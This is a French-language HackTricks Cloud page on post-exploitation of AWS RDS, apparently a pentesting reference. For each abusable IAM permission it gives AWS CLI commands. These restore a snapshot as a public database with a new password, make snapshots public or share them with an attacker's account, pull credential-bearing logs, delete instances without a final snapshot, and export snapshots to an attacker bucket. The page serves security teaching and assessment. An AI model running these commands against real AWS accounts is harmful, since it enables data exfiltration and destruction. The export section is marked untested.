Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md

3.8 KiB

AWS - RDS Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

RDS

Pour plus d'informations, consultez :

{{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}}

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Si l'attaquant a suffisamment de permissions, il pourrait rendre une DB accessible publiquement en créant un instantané de la DB, puis une DB accessible publiquement à partir de l'instantané.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Un attaquant avec ces permissions pourrait créer un snapshot d'une DB et le rendre publiquement disponible. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.

Si l'attaquant n'a pas le rds:CreateDBSnapshot, il pourrait tout de même rendre autres snapshots créés publics.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Un attaquant avec la permission rds:DownloadDBLogFilePortion peut télécharger des portions des fichiers journaux d'une instance RDS. Si des données sensibles ou des informations d'identification d'accès sont accidentellement enregistrées, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Impact potentiel : Accès à des informations sensibles ou actions non autorisées en utilisant des identifiants compromis.

rds:DeleteDBInstance

Un attaquant avec ces autorisations peut DoS les instances RDS existantes.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Impact potentiel : Suppression des instances RDS existantes et perte potentielle de données.

rds:StartExportTask

Note

TODO : Tester

Un attaquant disposant de cette autorisation peut exporter un instantané d'instance RDS vers un bucket S3. Si l'attaquant a le contrôle sur le bucket S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Impact potentiel : Accès à des données sensibles dans l'instantané exporté.

{{#include ../../../banners/hacktricks-training.md}}